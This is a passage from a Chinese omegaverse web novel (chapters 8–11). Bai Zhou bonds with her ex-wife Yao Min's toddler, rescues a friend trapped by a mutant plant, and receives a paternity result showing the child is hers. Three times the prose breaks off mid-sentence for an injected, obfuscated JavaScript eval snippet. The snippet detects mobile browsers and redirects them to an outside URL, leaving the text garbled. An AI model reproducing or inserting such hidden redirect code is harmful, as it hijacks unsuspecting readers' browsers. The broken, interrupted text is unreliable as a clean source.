白舟抬手往外挥了一下,解释:“哦,我在打农药呢,不过现在打完了,该回家了。” 她没什么兴趣站在这儿跟她聊天,周围都是农药的味道,有点难闻。 所幸司凡是个识趣的人,但又是个主动的人,闻言只是笑了笑,说:“我也要回去了,介意一起走吗?” 白舟无可无不可,但是人家都发出邀请了,自然不会落人家的面子,况且人家还挺有礼貌的,很容易让人产生好感。 “你家在哪个方向呀?”走到小道上,白舟觉得不说话有些尴尬,就随口问了一句。 “七巷八十八号,有空可以来找我玩。”司凡说。 语气温温柔柔,长相也不强势,很难想象她当总经理的时候是怎么管住下属的。 白舟哈哈一笑:“好,不过我最近有些忙。” “你们种田的都很忙吗?我看田里总人有在忙活。” “一般一般,现在都是用机器干活了,忙也不会忙到哪儿去,只是田里长了许多白色根茎,清理起来比较麻烦而已。” 司凡往路边的稻田看上一眼,点点头:“好像这些稻穗长得不是很好,是和那些根茎有关吗?” 不得不说,司凡是个很有分寸的人,不随意打探别人的隐私,起的话头都刚刚好,不会让人觉得冒犯,又能接着聊下去。 白舟感到挺轻松的,单手插了个兜,起了几分说话的欲望,“是呀,也不知道是哪种变异植物的根茎,清了一批又一批,想找源头都找不到。” “白色的根茎,我好像在哪个论坛里看到过,说是一种微型变异植物,以吸食为主,不知道和你说的是不是同一种?” 白舟惊了,没想到对方还知道这个,她停下脚步,抬手点开手环找出自己拍的图片,“你看到的根茎是不是长这样?” 图片上是她把根茎拔出来洗去泥巴后的样子,白白细细的一团,看起来很圣洁。 司凡往她边上凑近了点,仔细辨认了一下,正想说话,小腿忽然被撞了一下,她低头看去,一个膝盖高的小女孩正抱着白舟的腿,奶乎乎地喊:“妈妈。” 8. 像母女一样 白舟尴尬了,前妻姐的孩子当着她的相亲对象的面喊她“妈妈”,她该怎么解释? 白舟低头,小女孩仰着的小脸上全是欣喜和对她的喜爱,再说一遍“我不是你妈妈”,这张小脸应该会很难过吧,上次应该掉眼泪了吧。 而姚悯竟然也不解释,就那么静静看着她尴尬,半点想拉走孩子的意思都没有。 故意的吗? 白舟不满地瞪她一眼,然后看向司凡,对方正满脸震惊地看看她,又看看姚悯,似乎不敢相信她一个妙龄优质女青年竟然会有个可爱的孩子,孩子还有个貌美的妈咪。 “那个……” 白舟尴尬地开了个头,其实她也不知道要说点什么,但司凡却诧异地打断了她,“你离过婚?” “呃,嗯。”白舟诚实地点点头。 “她是你前妻?”司凡指了指一脸平静的姚悯。 白舟继续诚实地点点头。 这情况有点超乎她的预料了,司凡今年才三十出头,并没有想过要找一个二婚带娃的打算。 她看看白舟,又看看姚悯,竟然觉得她们很般配。 虽然她对白舟很有好感的,但她现在也被这事儿冲击得脑子有些乱,还能维持着微笑是她最后的体面了。 “我突然想起来我还有点事,就先不回家了,下次再聊。” 她一笑过后,转身就走,没给两人说场面话的机会。 体面人,连背影都是柔和的态度。 白舟看着她远去,人没影了还对着她离开的方向发呆,其实她是不知道怎么面对姚悯,主动开口显得她没出息,前妻姐一出现又舔上去似的。 她看着司凡离开的方向,姚悯看着她,眼镜片后的眸子有些专注。 被人这么盯着,是个有体感的人都能察觉到,更何况是分了半分心神在姚悯身上的白舟。 换作从前,被姚悯这么盯着,她指定要高兴得跳起来挂她身上求亲亲,但现在……呵,她只感觉有点烦。 又不是很熟的关系,一个Omega这么盯着一个Alpha是一件极不礼貌的行为。 正想转头狠狠瞪回去的白舟忽然感觉到裤子被人拽了拽,她低头看去,甜甜举着两只小手说:“妈妈,抱抱。” 抱? 你不是有妈咪吗? 白舟想拒绝,身体却不听话,一秒就弯腰将她抱起,动作很生疏,抱得甜甜不是很舒服,不过甜甜自己会扭小身子,换了个舒服点的姿势箍住她的脖子,噘嘴亲了她一口。 好大的一声“啵”! “妈妈,我叫甜甜。” 她说得很认真,想让对方认识她、记得她的认真。 白舟早在自己莫名其妙把她抱起来的那一刻就有些懵了,后来又被亲了一口,更是又懵又心软,现在……她看着甜甜,感觉自己真的很想要一个女儿。 她抬手点点了甜甜的小脸蛋,轻声道:“嗯,记得了,你叫甜甜。” 声音轻轻的,像风擦过耳际一样轻。 姚悯抬手撩了撩耳边的头发,感觉白舟好像有哪里不一样了,但她想不出来,她以前对白舟真的忽略太多,以至于现在看到对方,竟然有些想不起来对方以前该是什么模样的了。 只记得她一回到家就有热饭热菜吃,每天要穿的衣服都有人提前熨好,天凉天热都有人叮嘱防寒防暑。 “妈咪。” 姚悯回神,白舟在几步之外疑惑地看着她,坐在她臂弯里的甜甜细声细气地说:“走啦。” 回忆像散沙,风一吹,就聚成一小团,风再一吹,瞬间又散成一盘。 姚悯弯腰拿起甜甜的滑板车跟在她们身后三步远的距离,若不看白舟一次都没回过头与她有过什么互动,别人说她们是一家三口也不会有人怀疑。 回去的路上,白舟倒是没对着甜甜问东问西,主要是她觉得孩子太小了,可能听不大懂人话,要是她说了什么,甜甜不接茬,又是当着前妻姐的面,她岂不是很尴尬。 要问也是私底下问,没有前妻姐在的时候。 白舟看一眼一直看着她的甜甜,伸手从裤兜里掏了颗糖,剥开糖纸喂到她嘴边,笑:“甜甜吃糖糖。” 甜甜嘻嘻一笑,张嘴一口含进嘴里,姚悯动了动唇,却是没说什么,等甜甜吃完一颗还想要时,她才开口说了句:“甜甜,不可以吃太多糖,会长蛀牙的。” “不吃不吃。”甜甜捂了捂嘴巴。 左手已经插兜的白舟又默默把手拿了出来。 “灰车。”甜甜忽然指着天上说。 白舟抬头看一眼,纠正她,“是飞车,我家也有一架小型的飞车,一次可以载五个人呢。” 如今不断有变异植物从地里长出来,砍都砍不完,有一部分的路都被堵住了,好在空中飞车技术早已成熟,极少出现坠车的情况,有钱的人为了出行方便都会买一辆飞车。 不过她说的这么一长句,甜甜明显听不太懂,小手继续指着半空,说:“福蝶。” 白舟轻笑:“是蝴蝶。” 甜甜跟着念:“蝴蝶。” 奶声奶气,但口音差不多对了。 “嗯,对了,真棒。”白舟满意拿额角蹭了蹭她的脑袋。 像母女一样。 姚悯注视着她们互动的样子,忽然觉得白舟不仅是一位好妻子,也会是一位好妈妈。 “吃粥粥,起床。” 甜甜虽然还讲不了什么大长句,但她很明显是个小话唠,嘴巴不停地报备着,从吃什么到衣服的图案,又翘起个小脚给她看,含糊不清地说:“受伤,痛痛。” 白舟看一眼,脚腕上有一个疑似蚊虫叮咬出来的红点点,她配合地摸了摸,“好了,不痛了。” “妈咪,凶。” 甜甜会告状了,把白舟吓得不轻,却是惊讶于姚悯居然会凶女儿。 她没忍住,回头看一眼默不作声的姚悯,悄悄问甜甜:“妈咪为什么凶甜甜呀?” “我没有凶她。”姚悯幽幽说道。 白舟不信,小孩最不会说谎了,她也不搭理姚悯,抱着甜甜走快了两步。 姚悯顿了下脚步,又默默跟上。 一路上都甜甜叽叽喳喳的声音,到了家门口,她也不愿下来,双手紧紧箍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728488|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 住白舟,扭头警惕地看着姚悯,像怕被她强行抱回家一样。 不过姚悯做不出这种拉拉扯扯的事,她只是看着女儿,轻声说:“甜甜下来吧,咱们到家了。” “不要,不要。” 甜甜扭了扭小身子,两只小短腿紧紧夹住白舟的腰,扭着身子使劲往上蹬,像要找个地方藏起来一样,抗拒之意明显。 白舟本来就不大会抱孩子,甜甜又动来动去,顿时有些不知所措,只能一手摁着她的背,一手托着她的小屁股,防止她摔下去。 姚悯蹙了蹙眉,“姚望白。” 语气有些严肃,换作从前的白舟指不定就要怂了,但她看一眼委屈巴巴安静下来的甜甜。 “姚小姐不介意的话,可以让甜甜来我家玩一会儿。”白舟盯着她的眼睛,等她点头。 她叫她“姚小姐”,生疏又礼貌的称呼。 姚悯考虑了几秒钟,点头:“那就麻烦白小姐了。” 白小姐。 呵,难听死了。 白舟冷淡地对她点点头,抱着甜甜转身。 “白小姐。” 白舟回头睨她。 “甜甜今天不能再吃糖了。”姚悯叮嘱道。 呵,她会不知道? “知道了。”白舟说完就进了门,“砰”一声把前妻姐关在了外面。 姚悯盯着房门上贴着的关公抿了抿唇,拎着滑板车回家放好,又出去了。 她在这边有个小农场,是以前姑姑送她的生日礼物,这次过来也是想种点东西。 小农场有三四百亩大,以前都请了人长期打理的,后来变异植物破土而出,人人都想好好活着,这里也就荒废了。 姚悯站在高坡往下看,她的农场像个小树林似的,被红黄绿三种颜色的植物所占领,看着跟普通植物没什么区别,但这些都属于变异植物,不过它们现在已经没什么攻击性了。 大部分变异植物只有在刚出土的那几天攻击性是最强的,随着时间的流逝,它们的攻击力会越来越弱,有研究表明,这是因为紫外线的直射,破坏了变异植物的DNA结构。 就算这样,人们也不敢随意砍伐,因为砍了之后没多久它们又会重新长出来。 专家说:未来人类会与变异植物共存,人类要做的是适合它们。 姚悯摇摇头,对于专家说的话不置可否。 她观察过了,那些长着稻谷的田地并不会长出这么大的变异植物,是因为那些白色根茎的缘故吗? 那些白色根茎是什么呢? 真的会没有危险吗? 但不管怎么样,这田还是要种的。姚悯联系了当地的伐木工人,约了明天过来砍树、犁地,将农场整理出来,再搭飞车去城里购置一些农用设备。 与此同时,姚望白在白舟家吃了好几颗糖果,一边吃一边认真叮嘱白舟不要告诉妈咪。 又馋又怕的样子,萌化了一老一少的心,尤其是白望,抱着姚望白一口一个“乖乖”,给她投喂了许多小零食。 白舟在一旁看得很无奈,“奶奶,您别给她吃那么多,姚悯会生气的。” 9. 甜甜有几个妈妈? “你不说,我不说,谁会知道,她要是对我生气,那就是你告的状。”白望对她翻了个白眼,然后撕了个果冻递到姚望白还在嚼动的嘴边,笑得和蔼可亲,“来,甜甜,再吃一个。” 甜甜拍拍自己的小肚子,摇头:“吃不下了。” 说着,她抬起小手抓上白望满是岁月刻刀的手,往上推了推,“太奶奶,吃。” “哎,好好好,太奶奶吃,嗷嗯,真好吃。”白望乐呵呵地摸摸她的小脑袋,“甜甜真乖。” 甜甜又从篮子里抓了一个果冻给白舟,露出两排小牙齿,“妈妈,吃。” 太乖了。白舟接过果冻,顺便捏一把她的小脸蛋,再顺路问一句:“甜甜是只和妈咪两个人住吗?” 不知道是不是错觉,白舟刚问完就感觉奶奶看了她一眼,但是她抬眸看去时,奶奶却是看着甜甜笑得脸颊皱皱的。 “嗯,妈咪,甜甜。”姚望白伸出小胖手数了数,在白舟亮亮的眼神里,缓缓再蹦出一个“妈妈”。 “……” 小孩子可能听不懂。 白舟自己安慰自己,她还想再问,白望却忽然拍拍她的肩膀,说:“到点了,做饭去。” 白舟不乐意了,“为什么呀?不是买了生活机器人吗?让它做不就好了。” 白望:“它做的不好吃,没有人情味,咱们甜甜吃了会拉肚子。” “刚买回来那会儿您还夸过它呢,这会儿又不好吃了。”白舟嘟嘟囔囔。 白望瞪她,“你去不去。” “哎呀,去去去去去。” 又不是多大的事,至于瞪她吗。 白舟最后再掐一把甜甜的脸,转身进了厨房,过了会儿,奶奶在外面大声喊:“饭菜多做一些。” “知道啦。”白舟扯着嗓子应她。 幸好她曾经幻想过和姚悯有个孩子,了解过小孩的口味,白舟想了一下,迈腿跑去工具间拿了把网兜就跑去小池子边上捞鱼。 她们家的小池子养了五六种鱼类,白舟捞了条鲈鱼来杀,她剔刺的手法跟专业杀鱼的有得一拼了,手上的刀那么一转,再这么一划,连小刺也剔了个一干二净。 这都是那几年在无所事事的生活里练出来的呀,所以这么些年她也不是一无所获。 没多久,白舟就把三菜一汤端了出来,但是姚望白刚刚吃了太多零食,导致现在没吃几口菜就开始露出一条缝的眼白,小脑袋一下又一下地点着。 看得白舟心惊胆战,生怕她的小脑门磕到桌子上,她急忙把人抱在怀里,轻声说:“奶奶,要不我先抱她去睡觉吧。” “哎,去吧去吧。” 白舟把甜甜抱回了自己的房间,给她盖好被子又出来了,坐下才发现奶奶手里不知道什么时候多了本相册。 “奶奶,没事您翻相册干什么?想妈妈妈咪啦?”白舟说完,往嘴里扒了两口饭。 饿死她了。 白望还是不死心,翻着白舟小时候的照片,突然给她翻到一张白舟睡着时的样子,跟甜甜可太像了,她激动地一拍桌子,把白舟吓一跳,举着筷子忘了嚼东西。 “哎哟,你看这张,是不是和刚刚的甜甜一模一样。”白望把照片举给她看。 白舟无奈地瞥了一眼,咽下饭说:“是有些相似,但小孩子不都长得差不多吗,脸圆圆的,嘴巴小小的,鼻子小小的,人也小小的,连睡觉的姿势都差不多。” 反正她是不信自己能跟姚悯有个孩子的,就算她小时候和甜甜长得一模一样也只是巧合而已。 但奶奶的话还是被她听进了心里。 吃完饭,白舟就回房盯着甜甜的睡脸看,再盯着手里的照片看,最后放在一起对比着。 眉毛不像,鼻子不像,嘴巴也不像,就圆圆的脸蛋有点像而已。 怎么奶奶疯魔了,她也跟着不正常了,白舟无奈地放下照片,脱了鞋躺到床上,和甜甜一起睡起了午觉。 醒来后还不见姚悯过来接小孩,白舟也不管,侧躺在床上看甜甜自己爬起来坐着。 小孩子醒来也不吵着要妈咪,对着白舟就是一顿“咯咯”笑,也不知道在笑些什么,但白舟觉得甜甜应该很喜欢她。 这一点有些奇怪,她跟甜甜总共就见了两次面,就算她花见花开,人见人爱,也不至于让一个小孩子立刻就黏上来乱认亲吧。 白舟有时候是恋爱脑了一些,但脑子并不傻。 “甜甜。” “妈妈。”姚望白一听她叫自己的小名就开心扑了过去,“吧唧”亲了她一口。 白舟被亲得有些心软,抱着她翻了个身,让她坐在自己身上,笑着问:“你为什么总叫我妈妈呀?” “妈妈,妈咪,结婚,是妈妈。” “什么呀,你一个小孩子知道什么是结婚吗?”白舟坐起来,好笑地捏捏她的脸颊。 “结婚,生甜甜。” 姚望白小小的一只,还会奶声奶气地回答问题,没见过什么世面的白舟觉得她老厉害了,嘴角的笑就没下来过。 “谁跟你说的呀?” “妈咪。” “那甜甜有几个妈妈?” 姚望白虽然不会说长句,却能听懂很多话了,但这句话她却觉得很疑惑,定定看着白舟,忽然瘪了嘴,眼眶说湿就湿,“妈妈坏。” 面对她突如其来的眼泪,白舟可吓坏了,手忙脚乱地替她擦着眼泪,“甜甜,甜甜别哭呀,别哭呀,妈妈哪里坏了?” 其实小孩子哭,哄一哄就好了,但是白舟偏偏还要再问个问题,姚望白又说不出来妈妈哪里坏,一下子哭得更伤心了,声音就那么传了出去。 没一会儿,房门被人打开,白望一脸焦急地跑进来,“咋了咋了,哎哟,太奶奶的乖乖怎么哭了,不哭不哭啊。” 她抱起甜甜轻轻摇着,一边哄甜甜,一边瞪白舟:“你做什么了?” 白舟很无辜,感觉无处伸冤,她明明什么都没做啊,但她说不清楚,她也不知道好好的,甜甜为什么要哭啊。 所幸小孩子不记仇,哭完就好了,还愿意跟白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728489|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟亲近。 白舟穿上鞋子抱着甜甜去院子里摘百香果,而白望则拿着篮子跟在她们旁边,开口问甜甜要哪个小果果,融洽得像一家人。 忽然,白舟的手环弹了个电话出来,是‘山山伐木’打来的,说是接了个大单子,问她有没有空,一起伐木去。 ‘山山伐木’是一家伐木小公司,由白舟和她的两名小学同学共同创造,总员工包括三位老板,也就只有十人而已。 自从两年多以前,国家提倡伐木造田开始,她们就看到了这里面的商机,三人拼拼凑凑攒了七百万,购进伐木机、挖掘机、推土机等各种机械设备,经营范围包括:伐木、农田挖掘、农物收割、农产品运输、房屋建设等等。 不过伐木只能砍变异植物,砍错了是要罚钱的,白舟问她看过场地植物了吗,对方诚实地说没有,还让她去看一眼,就在宁德村里,公司开在镇上,她们派人过来还得半小时呢。 白舟翻了个白眼,挂断电话后看一眼巴巴望着她的甜甜,立马露出小梨涡说:“甜甜先和太奶奶在家摘果果好不好,妈……我有点工作要出去一趟。” 有些称呼听多了,就特别容易把自己代进去,幸好白舟及时止住了嘴。 姚望白瘪瘪嘴,不大乐意,但听到“工作”二字又懂事地不吵不闹,乖乖趴在白望怀里,拿一双水润的大眼睛看着她。 白舟忽然感到了一种负罪感,也不知从哪儿来的感觉,好像自己抛弃了什么一样,太可怕了。 阳光有些强,她去工具间里拿了顶草帽戴上,走的时候顺便去隔壁的门缝里看了看,姚悯好像不在家,去哪儿了? “要进去吗?” 白舟扒在门上的身子骤然一僵,手指无意识地抠了抠门板,一声尖锐的“滋”从她手底下跑了出来,更尴尬了。 她没有勇气回头。 姚悯却走了过来,抬手摁了一下指纹锁,门开后,又问一遍:“进去吗?” 对方这么坦荡,白舟再扭扭捏捏反而显得她心里有鬼了,于是她挺直腰杆,往里瞥一眼,扬了扬下巴,“我就是来问问你什么时候去接甜甜,她刚刚午睡醒来不见你就哭了。” 姚悯抬手看了看时间,又看向她,“我刚去了趟城市,现在就去接她。” 语气平静极了,像和陌生人说话一样。 白舟心里酸酸的,表面却一副高冷模样,“哦。” 气氛有些凝滞,姚悯不是个话多的人,跟白舟同处一个空间时也习惯了对方叽叽喳喳地说,她安安静静地听,这会儿对方不说话了,她也不知道要说点什么。 在等什么呢?白舟。 心里有点烦了,白舟双手插兜,转身离去。 “白舟。”姚悯下意识喊住了她。 莫名的,心里的烦躁散去了一点,一丝不该有的期待悄然升了起来,白舟压压嘴角,回头,不耐烦的语气:“干嘛?” 姚悯也不知道喊住她干嘛,沉默了几秒钟,看着隔壁的门说:“你家没开门。” “……” 10. 你这锅坏粥 白舟走了,留下句“有门铃”后,走得干脆利落。 姚悯往前挪了挪,看着她消失在拐角后,看一眼隔壁大门上的公关,犹豫片刻,转身进了自己家。 她没去接甜甜。 白舟贴着墙有些不知道她在想什么,准确来说,她从来都不知道姚悯在想什么,对方太懂得如何隐藏情绪了。 她跟在姚悯身后追逐了八年,却始终没见过对方有情绪波动大的时候,好像对什么事都淡淡的,不是不在乎的淡,是运筹帷幄的淡,仿佛什么都在她的鼓掌之间一样。 这种气质很迷人,有时候也很讨厌。 白舟拍拍后背可能沾上的尘土,大步走向‘薇薇农场’,路上接到了王婆的电话,对方说有个合适的Omega看了她的照片,想约她明天早上去‘小李饭馆’见见面,只是白舟现在忽然有点不太想去了。 但直接拒绝又不太好,毕竟是她拜托王婆多给她介绍相亲对象的,白舟忽然有种自食苦果的感觉。 她扶了扶草帽,说:“王婆,我明天早上要去伐木,你跟她说约在下午两点行不行啊?” 定下时间后,白舟调了个闹钟,她怕自己忘记了,放人鸽子不太礼貌。 ‘薇薇农场’门口停了辆车,看着很眼熟,白舟趴在车窗上往里看,那条吊着的‘福’字吊坠不正是她送给于音的吗。 这家伙跑这儿来干什么呢? 于音现在研究的变异植物都是一些稀有植物,它们体型小,攻击性却不小,这会儿出现在这里,莫非里面有新的变异植物出现? 白舟提高了警惕心,掏出随身携带的匕首。 这个农场荒废了两三年,杂草都有半人高,更别说茂密又扭曲的变异植物,走在里面像走进危险的原始森林一样。 阳光从树叶的缝隙里钻进来,躺在被人踩塌的杂草上,白舟顺着痕迹走过去,树根下有一条蟒蛇了无生息地躺着,她的汗毛幽幽立了起来。 “于音。” 白舟有点害怕,喊一声壮壮胆。 “你要是在的话,就应我一声,可千万别躲起来吓我啊。” 她的声音传出去,又传回来,依稀夹杂着另一道微弱的求救声,白舟瞬间往前跑去。 绕过十几棵大树之后,眼前的这一幕瞬间让她红了眼眶。 于音被几条树枝紧紧裹了起来,只露出上半身被倒着吊在低空中,可能被缠的时间有些久了,她的脸涨得又红又紫。 “哭啥,快救我呀。”于音气若游丝地说。 她很无奈,摊上这么个感性的好友,如果可以,她也不想以这么狼狈的姿态见人。 “我被你给惨到了嘛。”白舟将泛红的眼眶用力一眨,也不多废话,快速给她拍了张照,在于音的骂骂咧咧里,握着匕首就冲上去扎进缠着她的树枝里。 “哎,你小心点,别给我弄死了,我还没开始提取精华呢。”于音一看她这莽劲,急得说话的声音都变大了。 白舟闻言收了点力道,左边忽然窜出一条树枝,往她面门袭来,她连忙抓着缠住于音的树枝,腰腿一个用力,翻身坐到了于音身上,躲过攻击的同时削向面前的树枝。 她的匕首是定制的,可以说是削铁如泥,挥了几下就把树枝削断了,于音“啪叽”一下摔在了地上,她身上的树枝脱离主杆后自动掉落。 白舟一把捞过她背在身上,拼了命地往外跑着,全程不多废话,牢牢谨记保命这一条。 一出了农场,白舟就将人放到车后座上,红着眼圈说:“小白,去康和医院。” “好的,已为您导航‘康和医院’。”小白的电子女音有点娇娇的。 如今的小汽车都装上了人工智能,可自动驾驶,而于音这台车的人工智能就叫“小白”。 白舟坐在她旁边看着她破破烂烂的裤子,以及正在渗血的脚踝,有种她的腿要断了的感觉,眼泪止不住地流,仿佛对方身上的痛都转移到了她身上一样。 虽然白舟已经三十一岁了,却还是改不了看到别人的惨状就掉眼泪的坏毛病,虽然看着软弱,但其实她挺强的,救人时临危不乱,有脑子,有武力值,还有一颗柔软的心。 因为有她在,于音也时常感到安心,就是…… “你的眼泪掉到我的伤口上了,咸得我有点疼。”于音无奈地说:“宝子,咱能先不哭了吗。” “你以为是我想哭的吗,还不是泪窝太浅了。”白舟见她还有力气打趣自己,心里悄悄松了口气,却抬手就拍了一下她的肩膀。 从小到大,白舟就被人叫做‘哭包’,很多时候也不是她想哭的,而且她也没哭出声,就只是红了眶,替别人流了几滴泪而已。 只是人们都只看得到流于表面的东西,见她经常掉眼泪就觉得她软弱可欺,善良的人自然会以诚待她,心怀恶意之人又会使劲欺负她。 白舟用了一整个童年和青春去向人们证明,她只是表面看着好欺负而已。 到了医院之后,白舟背着于音跑到赵知值班的科室,开口就是:“知知你快来看看,音音的腿断了。” 声音洪亮,仿佛吃了兴奋剂一样。 “你才断了腿呢,大哭包。” 于音怼了一句后,被人放到了病床上。 赵知一看于音这四肢健全、中气十足的模样,并没有多少担心,于音更惨的模样她都见过,死不了,不过她往那条烂裤子看了一眼,随手就拿了把剪刀走过去。 “你,你要干嘛?”于音看着她手上的剪刀,心里毛毛的。 赵知推推眼镜,正经道:“把你裤子剪了,给你治病。” 有赵知在,白舟放心了,她拍拍小手,幸灾乐祸,“治病呢,光着屁股哦。” 她们仨从小到大的情谊了,但从来都是穿着衣服体体面面的处朋友,没事儿嘴贱几句,可从来没有谁在谁面前露过屁股的。 于音宁死不从地拽着裤子,满脸惊恐地看着赵知,“知知,我喜欢的是Omega,咱俩不合适。” 赵知瞥她一眼,“神经。” 她与白舟对视一眼,白舟立马苍蝇搓手,对于音露出个“我来了”的笑容,随后不顾她的挣扎,摁着她的双手。 “滋啦——” 于音的裤子没了大半截。 “我的清白啊——”于音生无可恋地放弃了挣扎。 白舟松手,轻拍拍她脏兮兮的脸蛋,“放心,我们都知道你的小裤裤是红色的,印着金元宝。” 于音:“……” 赵知把她的长裤扔到一边,于音的两条腿比正常情况下肿了0.5倍,上面总共有七条明显的勒痕,脚踝的血迹已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728490|189567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经干了,腿上也有明显的擦伤。 “先去拍个片吧。”赵知说。 于音哼了一声,“知知,你变坏了,还有粥,你别再色眯眯地盯着我的腿了。” 差点又被她惨哭的白舟眨了眨眼里的湿润,瞪她:“乌青黑紫的,有啥好看的,不过我想拍张照片留做纪念。” 于音急了,抬手要打她,但她‘残’了,于是这副狼狈姿态轻易就被人记录了下来。 打打闹闹过后,于音这个‘伤残人士’蔫蔫地被两人推着跑上跑下,做了一系列检查,很不幸,两条小腿都骨裂了,靠打石膏的话,最少也得个把月才能恢复,而进医疗舱只需五个小时就能恢复活蹦乱跳的样子。 医疗舱可以快速治愈人体的大部分疾病,但想使用医疗舱需要提前两个星期预约(重大疾病除外)。 不过一般情况下,医院会有好几套体系,分了三六九等:权贵一等,关系户二等,普通人三等,还有一些比普通人更差一些的不知道被分去了几等。 于音混了个二等,但很遗憾,她依旧没能顺利躺进医疗舱,因为医院里仅有的五个医疗舱都被突发疾病的人和某些一等人占据了。 三人又灰溜溜回到值班室。 赵知看一眼于音的腿,推推眼镜,说:“我刚刚问了,凌晨两点半有个空舱,所以你疼的话……叫声姐姐,姐姐给你上点止疼药。” 三人同年同月同日生的,但小时间于音经常哄着俩人叫她姐姐,少不经事的白舟和赵知就那样喊了一整个幼儿园的姐姐。 于音瞪着眼睛看她,“赵知知,你变了,你不爱我了。” 赵知双手插在白大褂的两大兜里,一本正经地说:“我喜欢的是Omega,咱俩不合适。” 白舟“扑哧”一笑。 一个称呼还记那么久。 疼了一路的于音翻了个白眼,然后憋憋屈屈、细弱蚊声地嗡嗡了两个字,赵知摸摸她的头,“好妹妹。” 给于音涂好止痛药水后,赵知忽然看向在玩小游戏的白舟,说:“粥,我有个关于你的秘密。” “啥呀?”白舟抬头看她一眼。 “叫声姐姐,我就告诉你。”赵知推推眼镜。 三人里,赵知的性格最内敛,小时候也是一副乖宝宝的形象,经常被人欺负,白舟虽然会保护她,但偶尔也会抓一些虫子吓唬她,典型的“我的人我欺负可以,别人都不能欺负。” 刚刚还蔫了吧唧的于音闻言立马哈哈大笑起来,“粥,快叫姐姐啊,我也想听听是啥秘密。” 白舟翻了个眼白出来,“我有啥秘密是我这个当事人不知道的?” 赵知:“新秘密,今天你奶奶送过来的,你肯定不知道。” “那姐姐就告诉我呗。”白舟换了副嘴脸,梨涡甜甜地挂着。 她这么痛快地喊了“姐姐”,于音到是不痛快了,好朋友之间的乐趣就是看对方的笑话,白舟不扭捏几下,搞得她刚刚的扭捏像个笑话一样。 但好在还有个新秘密等着她,于音看向赵知,听她说:“你奶奶送了几根头发过来,让我帮忙做个亲子鉴定。” “什么?”于音兴奋了,扭头看着于舟,“谁的亲子鉴定,粥,你在外面勾搭小妖精啦?现在人家找上门来了?啧啧啧,看不出来哦,你这锅坏粥。” 11. 是我的孩子 难怪下午的时候,奶奶说她有白头发,给她拔了几根下来,原来在这等着呢。 白舟看着赵知,幽幽问道:“谁的亲子鉴定?” 赵知耸耸肩,“奶奶说是你不乖,和别人有了孩子还不承认,叫我拿个证明出来,到时候她好甩到你的脸上。” “……” “你确定这是奶奶的原话。”白舟幽幽说道。 赵知扶扶眼镜,“不确定。” “所以,你真的有个孩子?”赵知好奇地问。 于音巴巴看着她,一副要吃瓜的模样。 白舟张了张嘴,想把姚悯搬进村里的事告诉她们,但又怕她们拿着刀去找姚悯。 本来她们就不待见姚悯,三年前她去漳洲受伤后,她们就更不待见姚悯了,提一句骂一句的,骂完姚悯又骂她。 多一事不如少一事。 白舟摇摇头:“没有呀,是奶奶想抱曾孙女想疯了,见别人家的小孩长得和我有点像,非要说是我的孩子,等鉴定结果出来后,她就老实了。” “谁家的孩子啊?”于音问。 白舟:“我家隔壁的,新搬来的,是个美女。” “哦,美女啊。”于音眯着眼睛看她。 白舟有个特点,一紧张,面上就会变得特别严肃,眼神也不跟人对视了,东看西看,忙得很。 有猫腻。 于音和赵知对视一眼,忽然说:“天好像黑了,你不回家吗?” 白舟摇摇头,一脸正直地说:“我留在这儿照顾你,明天再一起回去吧,顺便等一下鉴定结果,带回去给奶奶,让她死心。” 按推算,奶奶应该是下午四五点钟来的,加急,又有赵知在的情况,应该今晚就能出结果了。 白舟并不想期待什么,但在得知奶奶偷偷来做亲子鉴定之后,她的心不可能毫无波动。 怕失望,又怕太出乎意料的惊喜,更怕不能承受的痛苦。 等待是一场修行,但白舟静不下心,出去买了三份晚饭回来,数着米粒吃完,赵知出去了,白舟给于音编起了辫子,赵知又回来了,手里没有文件,白舟又把辫子解开重新编。 于音和赵知再次交换眼神。 她们仨之中,谁撅个蹄子,其中俩人就能知道对方要放什么屁了,于音和赵知也不拆穿她,一个躺床上,一个坐椅子上,一起欣赏她心神不宁的样子。 凌晨两点,赵知拿到亲子鉴定结果后,意外又不意外,凭着白舟今晚的表现,没有鬼才怪。 她拿着文件回到科室,用一种“想不到你是这样的人”看着白舟。 “干嘛?”白舟被她看得毛毛的。 她盯着赵知手里的文件,心里已经开始七上八下了。 “粥啊,你到底辜负了谁?”赵知扶扶眼镜。 语气很平静,是她一惯的说话习惯,但白舟却听出了点‘恨铁不成钢’的意味。 “什么鬼。” 白舟嘟囔着拿过她手里的文件,看了几秒后,不敢相信地张了张嘴巴,愣愣盯着“存在亲子关系”六个字,脑中一片空白。 “不可能,不可能的,绝对不可能……”白舟难以置信地喃喃着。 